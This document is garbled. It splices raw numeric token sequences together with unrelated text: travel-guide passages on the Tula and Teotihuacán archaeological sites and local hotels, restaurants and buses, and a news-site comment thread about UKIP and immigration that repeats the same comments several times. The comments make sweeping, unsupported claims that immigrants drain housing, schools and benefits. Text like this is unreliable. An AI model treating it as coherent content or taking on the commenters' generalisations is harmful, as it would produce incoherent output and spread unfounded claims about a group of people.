2217, 281, 1705, 1060, 588, 320, 11797, 407, 253, 35240, 20417, 1537, 273, 253, 2745, 302, 6356, 86, 317, 9435, 313, 442, 73, 14, 1368, 14, 4532, 14, 88, 1240, 14, 795, 76, 18272, 64, 2387, 23749, 15, 187, 187, 4531, 2456, 10294, 29510, 273, 8987, 3228, 13, 275, 247, 11129, 14, 804, 264, 745, 40719, 273, 253, 4009, 282, 372, 36912, 46591, 13, 2745, 302, 6356, 86, 317, 9435, 310, 1929, 323, 697, 767, 7863, 25874, 2352, 13, 253, 25017, 30836, 504, 1448, 8144, 313, 14819, 3358, 301, 273, 253, 4146, 10, 285, 253, 25017, 30836, 504, 372, 826, 47392, 313, 14819, 3358, 301, 273, 253, 16363, 582, 534, 25903, 253, 4558, 273, 253, 1313, 37489, 15, 2745, 302, 6356, 86, 317, 9435, 369, 8987, 434, 5962, 9129, 2846, 285, 253, 5347, 273, 752, 369, 3164, 8987, 434, 6253, 638, 14, 8389, 19239, 20986, 15, 14499, 4263, 253, 2670, 310, 20996, 13, 3738, 6142, 2066, 272, 253, 23570, 255, 304, 494, 48011, 23521, 310, 9286, 272, 285, 24597, 476, 320, 5699, 15, 380, 2670, 310, 1685, 10558, 275, 253, 4766, 273, 253, 1388, 13, 594, 1469, 2393, 17587, 745, 15, 187, 187, 510, 2846, 434, 9860, 2098, 369, 17944, 275, 253, 2393, 629, 273, 253, 337, 296, 5331, 5446, 13, 285, 253, 25017, 30836, 504, 1448, 8144, 369, 6312, 1108, 689, 271, 4321, 15985, 45342, 1108, 407, 5446, 7783, 15, 380, 1551, 273, 253, 2846, 369, 3715, 875, 670, 5446, 10257, 285, 12891, 15, 8404, 13, 6938, 285, 5054, 2616, 16579, 2348, 697, 10343, 285, 27585, 13551, 275, 253, 854, 394, 5331, 15, 187, 187, 510, 2846, 369, 4272, 715, 19902, 407, 767, 1270, 44201, 326, 1313, 2822, 3905, 32982, 35813, 7896, 313, 783, 16415, 11391, 481, 2596, 273, 731, 13, 3515, 11467, 6146, 1253, 34542, 13, 310, 253, 8530, 2263, 91, 2960, 372, 3897, 14554, 797, 375, 313, 34, 7290, 273, 253, 16631, 10, 1108, 594, 1925, 984, 253, 1996, 13063, 442, 6113, 6566, 253, 1270, 9195, 27535, 352, 497, 8485, 7275, 1768, 13, 4270, 407, 33430, 323, 2745, 302, 6356, 86, 317, 9435, 434, 806, 36491, 15, 380, 2201, 5289, 403, 1745, 1245, 407, 247, 795, 22559, 438, 14, 85, 1752, 2771, 64, 3740, 13, 275, 534, 253, 11002, 11821, 273, 12293, 13, 39694, 14, 3022, 9195, 2882, 273, 1097, 1499, 18225, 31670, 22559, 438, 11824, 285, 24922, 31670, 85, 1752, 2771, 11824, 7118, 15, 1583, 497, 2223, 6107, 275, 30037, 285, 3295, 2920, 16264, 15, 5595, 273, 253, 2846, 369, 1160, 598, 273, 16252, 7006, 13, 690, 273, 534, 6221, 20654, 34183, 1940, 265, 15, 187, 187, 18760, 6465, 846, 697, 2965, 13, 2745, 302, 6356, 86, 317, 9435, 6376, 247, 31514, 5695, 2670, 323, 13063, 39766, 37283, 13, 665, 6566, 326, 512, 273, 253, 17373, 574, 31548, 3746, 1060, 281, 1265, 253, 5101, 4886, 387, 253, 5068, 273, 253, 686, 25512, 394, 1533, 4117, 41477, 407, 253, 13063, 442, 6113, 15, 733, 4558, 271, 1774, 31514, 5695, 2670, 27, 6763, 273, 1457, 11362, 34097, 265, 29447, 1060, 1016, 807, 281, 17019, 253, 2336, 2110, 1298, 249, 1004, 313, 17352, 3919, 655, 285, 3919, 3127, 10, 285, 281, 46026, 598, 253, 47955, 14120, 6566, 281, 29623, 1060, 15, 187, 187, 18765, 9129, 2745, 302, 6356, 86, 317, 9435, 6107, 625, 685, 1384, 34703, 10771, 13, 954, 273, 752, 476, 320, 2326, 3063, 8696, 2112, 4829, 374, 10294, 273, 253, 2263, 91, 2960, 372, 3897, 14554, 797, 375, 15, 378, 5123, 12666, 387, 247, 7137, 9096, 407, 253, 31438, 13032, 313, 33919, 337, 558, 1740, 643, 10032, 1972, 403, 4925, 407, 253, 5818, 3971, 1475, 253, 2670, 15, 1707, 403, 12102, 8783, 285, 13571, 1766, 21992, 387, 1016, 13032, 15, 5402, 13571, 4483, 368, 281, 294, 14, 9553, 3066, 667, 273, 731, 327, 253, 1072, 1388, 15, 380, 2670, 16064, 310, 816, 3304, 253, 2022, 9268, 13032, 313, 33919, 608, 481, 187, 187, 36, 736, 1397, 387, 253, 50276, 579, 968 ]

weapons and Quetzalcóatl's head. On the pyramid's north wall are some of the carvings that once surrounded the structure. These show the symbols of the warrior orders: jaguars, coyotes, eagles eating hearts, and what may be a human head in Quetzalcóatl's mouth. _Gran Vestíbulo_ Now roofless, the Gran Vestíbulo (Great Vestibule) extends along the front of the pyramid, facing the plaza. The stone bench carved with warriors originally ran the length of the hall, possibly to seat priests and nobles observing ceremonies in the plaza. _Coatepantli_ Near the north side of Pirámide B is the Coatepantli (Serpent Wall), which is 40m long, 2.25m high and carved with geometric patterns and a row of snakes devouring human skeletons. Traces remain of the original bright colors with which most of Tula's structures were painted. _Palacio Quemado_ Immediately west of Pirámide B, the Palacio Quemado (Burned Palace) is a series of halls and courtyards with more low benches and relief carvings, one depicting a procession of nobles. It was probably used for ceremonies or reunion meetings. _Sala de Orientación Guadalupe Mastache_ On the far side of the plaza is a path leading to the Sala de Orientación Guadalupe Mastache, a small museum named after one of the archaeologists (a woman) who pioneered excavations here. It includes large items taken from the site, including the huge feet of caryatids (female figures used as supporting columns) and a visual representation of how the site might have looked in its prime. Tula's fortress-like cathedral, just off the _zócalo,_ was part of the 16th-century monastery of San José. Inside, its vault ribs are decorated in gold. Sleeping Hotel Casablanca HOTEL $ ( 773-732-11-86; www.casablancatula.com; Pasaje Hidalgo 11; s/d/tr M$350/400/450; ) This comfortable, practical business hotel is right in the heart of Tula, located at the end of a narrow pedestrian street (look for the 'Milano' sign). Casablanca offers 36 rooms, all with cable TV, private bathroom and free wi-fi (the connection is best in the rooms closest to the lobby). Parking access is around back, via Avenida Zaragoza. Hotel Real Catedral HOTEL $$ ( 773-732-08-13; www.tulaonline.com/hotelcatedral; Av Zaragoza 106; r M$822, ste M$1183-1420; ) A street back from the plaza, the Real Catedral has some luxurious perks (a small gym, in-room coffeemakers, hair dryers and safes) for the price. Many of the inside rooms lack natural light, but the suites offer balconies and street views. There's also a great selection of black-and-white photos of Tula in the lobby. The room price includes an American breakfast. Eating Cocina Económica Las Cazuelas MEXICAN $ (Pasaje Hidalgo 129; menú del día M$40; 7am-7pm Mon-Sat, to 6pm Sun) Come here for an excellent _menú del día_ (menu of the day) that includes your choice of soup, main dishes such as _chiles rellenos_ (cheese-filled chilis) and _milanesa_ (a thin cut of fried, breaded meat) – and _agua_ (water flavored with fresh fruit). The upstairs balcony, away from the kitchen, is cooler than the steamy, main dining room. Mana VEGETARIAN $ ( 773 100-31-33; Pasaje Hidalgo 13; menu del día M$45; 9am-5pm Sun-Fri; ) This simple vegetarian restaurant serves a generous _menú del día_ that includes wholewheat bread, vegetable soup and a pitcher of natural fruit juice. There's also a selection of veggie burgers, taquitos _,_ quesadillas, soups and salads. Everything's fresh, hearty and homemade. Getting There & Away Tula's bus depot (Xicoténcatl 14) is a short walk from downtown. First-class Ovnibus ( 773-732-96-00; www.gvm.com.mx) buses travel to/from Mexico City's Terminal Norte (M$71, 1¾ hours, every 40 minutes) and direct to/from Pachuca (M$92, 1¼ hours, hourly). AVM runs 2nd-class buses to the same destinations every 15 minutes. Getting Around If you arrive in Tula by bus, the easiest way to get around is on foot. To reach the _zócalo_ from the station, turn right on Xicoténcatl, then immediately left on Rojo del Río and walk two blocks to Hidalgo. Take a right on Hidalgo, which dead-ends at Plaza de la Constitución, Tula's main square. To reach the Zona Arqueológica continue across the plaza to Quetzalcóatl, an attractive pedestrian street that leads to a footbridge over the Tula river. Take the stairs up the hillside to the right, and continue along Toltan-Del Tesoro to the site's secondary entrance. Unfortunately, the town's bus station lacks an _empaque_ (baggage check), which is problematic for daytrippers traveling with luggage. Top of Chapter Teotihuacán 594 / Elev 2300m This complex of awesome pyramids, set amid what was once Mesoamerica's greatest city, is among the region's most visited destinations. The sprawling site compares to the ruins of the Yucatán and Chiapas in terms of its significance, and anyone lucky enough to come here will be inspired by the astonishing technological might of the Teotihuacán (teh-oh-tee-wah- _kahn_ ) civilization. Set 50km northeast of Mexico City, in a mountain-ringed offshoot of the Valle de México, Teotihuacán is known for its two massive pyramids, the Pirámide del Sol (Pyramid of the Sun) and the Pirámide de la Luna (Pyramid of the Moon), which dominate the remains of the metropolis. Teotihuacán was Mexico's biggest ancient city and the capital of what was probably Mexico's largest pre-Hispanic empire. Exploring the site is fascinating, although rebuffing the indefatigable hawkers is exhausting and crowds can be huge. The site is busiest in the middle of the day, so going early pays off. The city's grid plan was plotted in the early part of the 1st century AD, and the Pirámide del Sol was completed – over an earlier cave shrine – by AD 150. The rest of the city was developed between about AD 250 and 600. Social, environmental and economic factors hastened its decline and eventual collapse in the 8th century. The city was divided into quarters by two great avenues that met near La Ciudadela (the Citadel). One of them, running roughly north–south, is the famous Calzada de los Muertos (Avenue of the Dead) – so called because the later Aztecs believed the great buildings lining it were vast tombs, built by giants for Teotihuacán's first rulers. The major structures are typified by a _talud-tablero_ style, in which the rising portions of stepped, pyramid-like buildings consist of both sloping _(talud)_ and upright _(tablero)_ sections. They were often covered in lime and colorfully painted. Most of the city was made up of residential compounds, some of which contained elegant frescoes. Centuries after its fall, Teotihuacán remained a pilgrimage site for Aztec royalty, who believed that all of the gods had sacrificed themselves here to start the sun moving at the beginning of the 'fifth world,' inhabited by the Aztecs. It remains an important pilgrimage site: thousands of New Age devotees flock here each year to celebrate the vernal equinox (between March 19 and March 21) and to soak up the mystical energies believed to converge here. Though ancient Teotihuacán covered more than 20 sq km, most of what can be seen today lies along nearly 2km of the Calzada de los Muertos. Buses arrive at a traffic circle by the southwest entrance (Gate 1); four other entrances are reached by the ring road around the site. There are parking lots and ticket booths at each entrance. Your ticket allows you to re-enter via any of them on the same day. The site museum is just inside the main east entrance (Gate 5). Crowds at the ruins

[ 253, 13232, 273, 634, 2852, 657, 30948, 5591, 3123, 4392, 3322, 3871, 8506, 15, 3954, 891, 3343, 323, 253, 892, 471, 15, 187, 187, 2302, 892, 518, 432, 479, 13, 3707, 281, 1333, 326, 253, 2419, 4376, 4154, 310, 417, 32708, 562, 407, 253, 9990, 15, 187, 187, 60, 21049, 7082, 81, 7082, 12509, 62, 4752, 78, 781, 32871, 12509, 62, 4159, 27, 187, 34, 1643, 2792, 281, 2619, 598, 327, 5701, 1160, 1078, 15, 187, 510, 952, 665, 1705, 281, 436, 2586, 432, 253, 444, 16, 54, 762, 253, 1959, 4866, 273, 18213, 285, 1265, 627, 1211, 3795, 656, 16, 1881, 8410, 403, 417, 347, 1175, 347, 253, 8442, 1421, 368, 281, 1158, 13, 347, 597, 403, 7429, 281, 275, 789, 5373, 604, 253, 2583, 253, 6233, 588, 417, 3835, 2105, 273, 3811, 1227, 624, 26570, 15, 1893, 253, 755, 1133, 8349, 2, 187, 2042, 597, 789, 1881, 7091, 285, 452, 247, 2021, 1060, 597, 403, 7429, 281, 320, 327, 253, 2675, 2419, 1618, 285, 326, 2097, 2792, 2097, 9910, 390, 247, 2823, 324, 318, 15, 8948, 3055, 33437, 342, 247, 1133, 483, 432, 253, 22094, 15, 187, 1552, 588, 1361, 3055, 2659, 42730, 11280, 598, 253, 2419, 272, 5739, 13, 534, 588, 7450, 598, 7911, 273, 9076, 15, 187, 44, 2352, 46772, 5046, 597, 13414, 2312, 16449, 5990, 14535, 15, 831, 2097, 634, 5753, 11089, 625, 984, 1679, 9732, 673, 15, 187, 1394, 778, 1158, 436, 588, 417, 320, 247, 7664, 281, 368, 13, 17706, 604, 368, 403, 2444, 323, 247, 3811, 342, 247, 2021, 352, 588, 15, 187, 2042, 368, 403, 327, 5373, 352, 588, 15, 187, 6080, 3672, 273, 436, 2586, 452, 644, 11069, 407, 1527, 13163, 13414, 323, 581, 1273, 1158, 352, 31451, 5108, 275, 399, 1372, 10452, 352, 588, 15, 187, 510, 2170, 285, 4852, 588, 320, 4391, 285, 627, 588, 320, 642, 1469, 896, 15, 187, 2214, 634, 1211, 13232, 285, 253, 13232, 273, 634, 2852, 657, 30948, 5591, 3123, 4392, 3322, 3871, 8506, 15, 187, 4125, 891, 3343, 323, 253, 892, 471, 4681, 16, 81, 7082, 16, 21049, 62, 2302, 892, 518, 432, 479, 13, 3707, 281, 1333, 326, 253, 2419, 4376, 4154, 310, 417, 32708, 562, 407, 253, 9990, 15, 18448, 29140, 187, 187, 4752, 78, 781, 4159, 2866, 187, 187, 34, 1643, 2792, 281, 2619, 598, 327, 5701, 1160, 1078, 15, 380, 952, 665, 1705, 281, 436, 2586, 432, 253, 444, 16, 54, 762, 253, 1959, 4866, 273, 18213, 285, 1265, 627, 1211, 3795, 656, 16, 1881, 8410, 403, 417, 347, 1175, 347, 253, 8442, 1421, 368, 281, 1158, 13, 347, 597, 403, 7429, 281, 275, 789, 5373, 604, 253, 2583, 253, 6233, 588, 417, 3835, 2105, 273, 3811, 1227, 624, 26570, 15, 1893, 253, 755, 1133, 8349, 2, 1310, 597, 789, 1881, 7091, 285, 452, 247, 2021, 1060, 597, 403, 7429, 281, 320, 327, 253, 2675, 2419, 1618, 285, 326, 2097, 2792, 2097, 9910, 390, 247, 2823, 324, 318, 15, 8948, 3055, 33437, 342, 247, 1133, 483, 432, 253, 22094, 15, 831, 588, 1361, 3055, 2659, 42730, 11280, 598, 253, 2419, 272, 5739, 13, 534, 588, 7450, 598, 7911, 273, 9076, 15, 29219, 46772, 5046, 597, 13414, 2312, 16449, 5990, 14535, 15, 831, 2097, 634, 5753, 11089, 625, 984, 1679, 9732, 673, 15, 1422, 778, 1158, 436, 588, 417, 320, 247, 7664, 281, 368, 13, 17706, 604, 368, 403, 2444, 323, 247, 3811, 342, 247, 2021, 352, 588, 15, 1310, 368, 403, 327, 5373, 352, 588, 15, 3808, 3672, 273, 436, 2586, 452, 644, 11069, 407, 1527, 13163, 13414, 323, 581, 1273, 1158, 352, 31451, 5108, 275, 399, 1372, 10452, 352, 588, 15, 380, 2170, 285, 4852, 588, 320, 4391, 285, 627, 588, 320, 642, 1469, 896, 15, 1198, 634, 1211, 13232, 285, 253, 13232, 273, 634, 2852, 657, 30948, 5591, 3123, 4392, 3322, 3871, 8506, 15, 3954, 891, 3343, 323, 253, 892, 471, 15, 187, 187, 2302, 892, 518, 432, 479, 13, 3707, 281, 1333, 326, 253, 2419, 4376, 4154, 310, 417, 32708, 562, 407, 253, 9990, 15, 187, 187, 29064, 27, 577, 187, 187, 48853, 13057, 2296, 1051, 24, 27, 1731, 2617, 4200, 655, 2552, 1638, 187, 187, 42, 1663, 13, 1663, 1265, 281, 7664, 672, 8870, 952, 327, 1060, 3176, 281, 2997, 326, 4292, 987, 281, 7185, 273, 6519, 13, 4483, 731, 281, 689, 10539, 253, 1386, 285, 1056, 7234, 326, 651, 417, 320, 12207, 275, 247, 2454, 281, 2454, 7827, 15, 496, 958, 309, 1158, 253, 4292, 326, 10507, 3212, 616, 15487, 653, 20309, 11626, 326, 39931, 327, 9239, 13, 5082, 626, 1333, 41001, 281, 247, 44165, 604, 253, 7827, 3589, 626, 327, 1386, 15, 309, 717, 5211, 281, 8881, 285, 2997, 253, 1416, 6789, 672, 627, 403, 1027, 2792, 273, 1859, 13, 533, 309, 588, 417, 46272, 281, 690, 273, 253, 440, 44167, 4215, 22630, 285, 253, 1625, 1981, 562, 273, 2176, 2390, 326, 6569, 672, 2176, 4292, 476, 10507, 3212, 616, 15487, 15, 309, 588, 3343, 281, 320, 1925, 19695, 1758, 390, 17927, 1669, 382, 390, 253, 643, 362, 587, 28737, 326, 310, 908, 327, 1060, 13, 285, 275, 11196, 309, 588, 320, 1469, 1977, 2, 187, 187, 42, 1663, 13, 1663, 1265, 281, 7664, 672, 8870, 952, 327, 1060, 3176, 281, 2997, 326, 4292, 987, 281, 7185, 273, 6519, 13, 4483, 731, 281, 689, 10539, 253, 1386, 285, 1056, 7234, 326, 651, 417, 320, 12207, 275, 247, 2454, 281, 2454, 7827, 15, 496, 958, 309, 1158, 253, 4292, 326, 10507, 3212, 616, 15487, 653, 20309, 11626, 326, 39931, 327, 9239, 13, 5082, 626, 1333, 41001, 281, 247, 44165, 604, 253, 7827, 3589, 626, 327, 1386, 15, 309, 717, 5211, 281, 8881, 285, 2997, 253, 1416, 6789, 672, 627, 403, 1027, 2792, 273, 1859, 13, 533, 309, 588, 417, 46272, 281, 690, 273, 253, 440, 44167, 4215, 22630, 285, 253, 1625, 1981, 562, 273, 2176, 2390, 326, 6569, 672, 2176, 4292, 476, 10507, 3212, 616, 15487, 15, 309, 588, 3343, 281, 320, 1925, 19695, 1758, 390, 17927, 1669, 382, 390, 253, 643, 362, 587, 28737, 326, 310, 908, 327, 1060, 13, 285, 275, 11196, 309, 588, 320, 1469, 1977, 2, 48853, 13057, 187, 187, 42, 1663, 13, 1663, 1265, 281, 7664, 672, 8870, 952, 327, 1060, 3176, 281, 2997, 326, 4292, 987, 281, 7185, 273, 6519, 13, 4483, 731, 281, 689, 10539, 253, 1386, 285, 1056, 7234, 326, 651, 417, 320, 12207, 275, 247, 2454, 281, 2454, 7827, 15, 496, 958, 309, 1158, 253, 4292, 326, 10507, 3212, 616, 15487, 653, 20309, 11626, 326, 39931, 327, 9239, 13, 5082, 626, 1333, 41001, 281, 247, 44165, 604, 253, 7827, 3589, 626, 327, 1386, 15, 309, 717, 5211, 281, 8881, 285, 2997, 253, 1416, 6789, 672, 627, 403, 1027, 2792, 273, 1859, 13, 533, 309, 588, 417, 46272, 281, 690, 273, 253, 440, 44167, 4215, 22630, 285, 253, 1625, 1981, 562, 273, 2176, 2390, 326, 6569, 672, 2176, 4292, 476, 10507, 3212, 616, 15487, 15, 309, 588, 3343, 281, 320, 1925, 19695, 1758, 390, 17927, 1669, 382, 390, 253, 643, 362, 587, 28737, 326, 310, 908, 327, 1060, 13, 285, 275, 11196, 309, 588, 320, 1469, 1977, 2, 187, 187, 29064, 27, 428, 21, 187, 187, 4614, 35250, 2296, 1051, 26, 27, 1731, 2617, 4200, 655, 2552, 1638, 187, 187, 22492, 17869, 19, 4159, 2866, 187, 187, 18448, 29140, 4159, 2866, 187, 187, 3299, 27, 604, 368, 1239, 619, 3302, 1501, 891, 753, 5742, 326, 891, 369, 5015, 670, 2419, 7911, 15, 309, 1620, 5393, 2675, 8039, 15, 309, 5194, 13, 352, 310, 8664, 604, 16618, 403, 1146, 24981, 6386, 273, 1980, 952, 15, 187, 187, 42, 2868, 436, 310, 581, 273, 253, 2022, 1921, 2112, 342, 247, 1643, 2571, 13, 326, 5591, 3123, 556, 331, 30487, 327, 458, 1825, 285, 14493, 275, 253, 1390, 1643, 1107, 15, 891, 476, 2096, 2139, 952, 1978, 15950, 253, 346, 51, 317, 382, 3, 43387, 387, 5591, 3123, 671, 13, 752, 891, 513, 417, 2096, 310, 2139, 310, 352, 594, 3430, 285, 33005, 382, 281, 513, 253, 1563, 27, 3523, 4293, 356, 9231, 3551, 281, 436, 2586, 665, 513, 417, 8162, 281, 776, 6982, 13, 3523, 4933, 1133, 20823, 281, 16618, 665, 513, 2717, 13, 3523, 10054, 323, 2853, 304, 267, 16618, 281, 1110, 665, 403, 2918, 275, 13555, 323, 752, 3133, 751, 1107, 13, 604, 597, 403, 417, 344, 254, 17734, 13, 990, 273, 13, 337, 296, 9735, 16, 13568, 896, 285, 1056, 289, 1321, 564, 20282, 2075, 253, 19021, 13, 3523, 8039, 4293, 356, 9231, 816, 984, 597, 403, 7429, 281, 320, 1060, 533, 513, 417, 8162, 13, 3523, 1053, 839, 25866, 273, 12511, 281, 4343, 672, 776, 1211, 6982, 310, 11741, 285, 3523, 10054, 285, 755, 562, 273, 14029, 1024, 13, 352, 310, 45964, 441, 9790, 5312, 342, 1652, 390, 642, 1091, 13, 14029, 588, 1335, 4489, 253, 1072, 10229, 604, 359, 497, 275, 390, 562, 273, 14029, 13, 9341, 588, 1900, 7703, 1318, 323, 2583, 3645, 4618, 13, 417, 816, 984, 359, 403, 275, 346, 18913, 3446, 733, 310, 5803, 33005, 382, 281, 971, 281, 452, 1453, 689, 776, 1211, 17241, 13, 285, 816, 984, 359, 1333, 752, 2571, 971, 281, 1333, 533, 403, 9202, 359, 403, 1925, 33005, 382, 15, 973, 891, 323, 581, 717, 10208, 598, 1146, 2183, 407, 14029, 752, 359, 476, 285, 16216, 513, 13, 776, 21806, 85, 310, 5508, 6134, 13, 776, 33417, 403, 5508, 6134, 285, 776, 5360, 447, 403, 21098, 18280, 13, 891, 7777, 1928, 7016, 323, 1110, 326, 3534, 289, 1321, 4852, 323, 776, 17241, 281, 923, 352, 13044, 1977, 15, 380, 6495, 556, 4783, 432, 9643, 13, 13944, 285, 15420, 7703, 801, 532, 423, 593, 13, 436, 310, 253, 673, 281, 1462, 2366, 390, 359, 588, 990, 598, 1146, 253, 5004, 273, 253, 19176, 275, 253, 1735, 5978, 15, 5591, 3123, 778, 417, 452, 512, 253, 743, 45823, 2568, 13, 533, 1110, 275, 1612, 1620, 574, 667, 2057, 13, 359, 452, 2489, 247, 295, 10059, 1375, 285, 247, 6279, 1375, 281, 14029, 13, 673, 281, 755, 562, 13, 359, 402, 40418, 728, 1078, 285, 359, 588, 11883, 969, 13, 2139, 13, 984, 359, 588, 417, 320, 39460, 281, 13, 28763, 849, 14848, 3053, 2391, 20340, 187, 187, 42, 812, 2649, 5194, 625, 13, 2520, 310, 253, 954, 24600, 14430, 326, 309, 452, 1239, 323, 1897, 327, 436, 2256, 15, 309, 16216, 2868, 326, 3780, 342, 667, 1846, 3282, 812, 320, 14004, 407, 18759, 293, 3981, 326, 344, 651, 8, 2649, 751, 247, 1387, 273, 1821, 4886, 275, 1735, 281, 779, 253, 760, 10551, 369, 326, 344, 753, 253, 3159, 45575, 13, 28763, 417, 752, 309, 1067, 22198, 13, 5092, 3780, 327, 841, 25278, 20509, 1333, 597, 651, 751, 247, 1387, 273, 1821, 4886, 1735, 3369, 281, 731, 13414, 2647, 835, 597, 1705, 432, 15, 12349, 352, 247, 22198, 7579, 432, 17419, 7233, 840, 672, 344, 753, 4782, 7375, 323, 4782, 952, 390, 436, 2208, 6276, 1475, 342, 6007, 19184, 3981, 564, 1728, 281, 16618, 32, 309, 9047, 253, 3492, 3063, 342, 253, 4572, 407, 27227, 19430, 285, 309, 1869, 326, 10351, 486, 15726, 352, 1077, 973, 387, 1878, 344, 9577, 253, 3533, 28763, 625, 685, 954, 643, 13557, 513, 309, 671, 1158, 326, 11915, 532, 403, 417, 3270, 28054, 387, 512, 347, 597, 651, 10112, 952, 689, 1060, 604, 597, 452, 253, 6936, 359, 878, 347, 6976, 323, 4227, 964, 187, 187, 60, 21049, 7082, 81, 7082, 12509, 62, 22492, 17869, 19, 32871, 12509, 62, 4159, 27, 187, 60, 21049, 7082, 81, 7082, 12509, 62, 18448, 29140, 32871, 12509, 62, 4159, 27, 187, 3299, 27, 604, 368, 1239, 619, 3302, 1501, 891, 753, 5742, 326, 891, 369, 5015, 670, 2419, 7911, 15, 309, 1620, 5393, 2675, 8039, 15, 309, 5194, 13, 352, 310, 8664, 604, 16618, 403, 1146, 24981, 6386, 273, 1980, 952, 4681, 16, 81, 7082, 16, 21049, 62, 42, 2868, 436, 310, 581, 273, 253, 2022, 1921, 2112, 342, 247, 1643, 2571, 13, 326, 5591, 3123, 556, 331, 30487, 327, 458, 1825, 285, 14493, 275, 253, 1390, 1643, 1107, 15, 891, 476, 2096, 2139, 952, 1978, 15950, 253, 346, 51, 317, 382, 3, 43387, 387, 5591, 3123, 671, 13, 752, 891, 513, 417, 2096, 310, 2139, 310, 352, 594, 3430, 285, 33005, 382, 281, 513, 253, 1563, 27, 3523, 4293, 356, 9231, 3551, 281, 436, 2586, 665, 513, 417, 8162, 281, 776 ]

the sake of your future VOTE UKIP THURSDAY. Now i wait for the flack. No flak from me, except to say that the house price argument is not borne out by the statistics. [quote][p][bold]cosmick[/bold] wrote: A few points to pick up on comments made before. The people who come to this country from the E/U under the free movement of labour and start there own companys/ self employment are not as good as the figures lead you to think, as they are entitled to in work benefits if the money the earn will not cover cost of living /rent ect. So the get handouts! If they work self employed and have a family here they are entitled to be on the social house list and that means points means houses or acommadation. Maybe private rented with a handout from the taxpayer. This will help private landlords buying up the houseing stock, which will push up prices of homes. Kids schooling maybe they dont talk ENGLISH. This means your kids suffer more because less teacher time. You may think this will not be a worry to you, BUT if you are working for a living with a family it will. If you are on benefits it will. Some areas of this country have been destroyed by open immigration dont for one second think it wont happen in DORSET it will. The area and lives will be changed and there will be no going back. For your own sake and the sake of your future VOTE UKIP THURSDAY. Now i wait for the flack.[/p][/quote]No flak from me, except to say that the house price argument is not borne out by the statistics.JamesYoung cosmick wrote… A few points to pick up on comments made before. The people who come to this country from the E/U under the free movement of labour and start there own companys/ self employment are not as good as the figures lead you to think, as they are entitled to in work benefits if the money the earn will not cover cost of living /rent ect. So the get handouts! If they work self employed and have a family here they are entitled to be on the social house list and that means points means houses or acommadation. Maybe private rented with a handout from the taxpayer. This will help private landlords buying up the houseing stock, which will push up prices of homes. Kids schooling maybe they dont talk ENGLISH. This means your kids suffer more because less teacher time. You may think this will not be a worry to you, BUT if you are working for a living with a family it will. If you are on benefits it will. Some areas of this country have been destroyed by open immigration dont for one second think it wont happen in DORSET it will. The area and lives will be changed and there will be no going back. For your own sake and the sake of your future VOTE UKIP THURSDAY. Now i wait for the flack. No flak from me, except to say that the house price argument is not borne out by the statistics. Score: 4 woodsedge says...7:26pm Mon 19 May 14 I really, really start to worry when rational people on here appear to accept that individuals right to freedom of speech, allows them to overstep the line and make statements that would not be acceptable in a face to face conversation. In fact I think the individuals that hide behind their keyboard spouting opinions that verge on hate, wouldn't say boo to a goose if the conversation wasn't on line. I am happy to debate and accept the name calling when there are different points of view, but I will not concede to some of the unsubstantiated garbage and the singling out of certain groups that happens when certain individuals can hide behind their keyboard. I will wait to be called mangina or pseudo leftist or the other vile spill that is used on here, and in closing I will be going away! I really, really start to worry when rational people on here appear to accept that individuals right to freedom of speech, allows them to overstep the line and make statements that would not be acceptable in a face to face conversation. In fact I think the individuals that hide behind their keyboard spouting opinions that verge on hate, wouldn't say boo to a goose if the conversation wasn't on line. I am happy to debate and accept the name calling when there are different points of view, but I will not concede to some of the unsubstantiated garbage and the singling out of certain groups that happens when certain individuals can hide behind their keyboard. I will wait to be called mangina or pseudo leftist or the other vile spill that is used on here, and in closing I will be going away!woodsedge I really, really start to worry when rational people on here appear to accept that individuals right to freedom of speech, allows them to overstep the line and make statements that would not be acceptable in a face to face conversation. In fact I think the individuals that hide behind their keyboard spouting opinions that verge on hate, wouldn't say boo to a goose if the conversation wasn't on line. I am happy to debate and accept the name calling when there are different points of view, but I will not concede to some of the unsubstantiated garbage and the singling out of certain groups that happens when certain individuals can hide behind their keyboard. I will wait to be called mangina or pseudo leftist or the other vile spill that is used on here, and in closing I will be going away! Score: -4 radiator says...9:26pm Mon 19 May 14 jjlad2 wrote… JamesYoung wrote… PS: if you read my initial post i said specifically that i was talking about house prices. I never mentioned social housing. I agree, it is concerning if immigrants are being housed ahead of local people. I believe this is one of the main reason along with a few others, that UKIP has strived on leaps and bounds in the last few years. i can understand why people keep throwing the "Racist" slogan at UKIP also, what i do not understand is why is it so wrong and Racist to do the following: stop immagrants coming to this country who do not contribute to our economy, stop giving hand outs to immigrants who do nothing, stop paying for illigal immigrants to those who are held in custody for what seems like years, if they are not heer legally, end of, 1st boat/plane back and make thier govt pay the fare, stop housing immagrants just because they are entitled to be here but do not contribute, stop donating billions of pounds to countries when our own economy is failing and stop paying and get out of Euro now, it is costing us millions daily with little or no return, Euro will still buy the same goods if we were in or out of Euro, businesses will always seek value for money World wide, not just because we are in "Europe". It is NOT Racist to want to have control over our own Country, and just because we say what others want to say but are afraid we are called Racist. well i for one am fed up being told by Euro what we can and cant do, our Govt is spineless, our Courts are spineless and our Armies are dessimated, i truly feel sorry for those that gave thier lives for our Country to see it thrown away. The Great has gone from Britain, Scotland and Wales seek indipendance, this is the time to stand together or we will end up being the bottom of the pile in the next generation. UKIP may not have all the Answers yet, but those in power never had any either, we have become a nanny state and a Yes state to Euro, time to get out, we suvivied before and we will survive again, why, because we will not be dictated to, thats how Wars started......... I couldnt agree more,this is the most sensible quote that I have read for days on this subject. I cant believe that anyone with any common sense could be upset by Nigel saying that he would'nt like a group of men moving in next to him the only mistake was that he said the word Romanian, thats not what I call racist,can anyone on these forums honestly say they would like a group of men moving next door to them dont matter where they come from. Was it a racist remark from Gordon Brown then when he said British jobs for British people or this government driving around with billboards saying go home to immigrants? I watched the video today with the interview by OBrien and I thought that Farage handled it very well at least he answered the questions thats more than most other politicians do I also think that Ukip are not anti immigrant at all as they would welcome people over here if they have the skills we need as Australia for instance. [quote][p][bold]jjlad2[/bold] wrote: [quote][p][bold]JamesYoung[/bold] wrote: PS: if you read my initial post i said specifically that i was talking about house prices. I never mentioned social housing. I agree, it is concerning if immigrants are being housed ahead of local people.[/p][/quote]I believe this is one of the main reason along with a few others, that UKIP has strived on leaps and bounds in the last few years. i can understand why people keep throwing the "Racist" slogan at UKIP also, what i do not understand is why is it so wrong and Racist to do the following: stop immagrants coming to this country who do not contribute to our

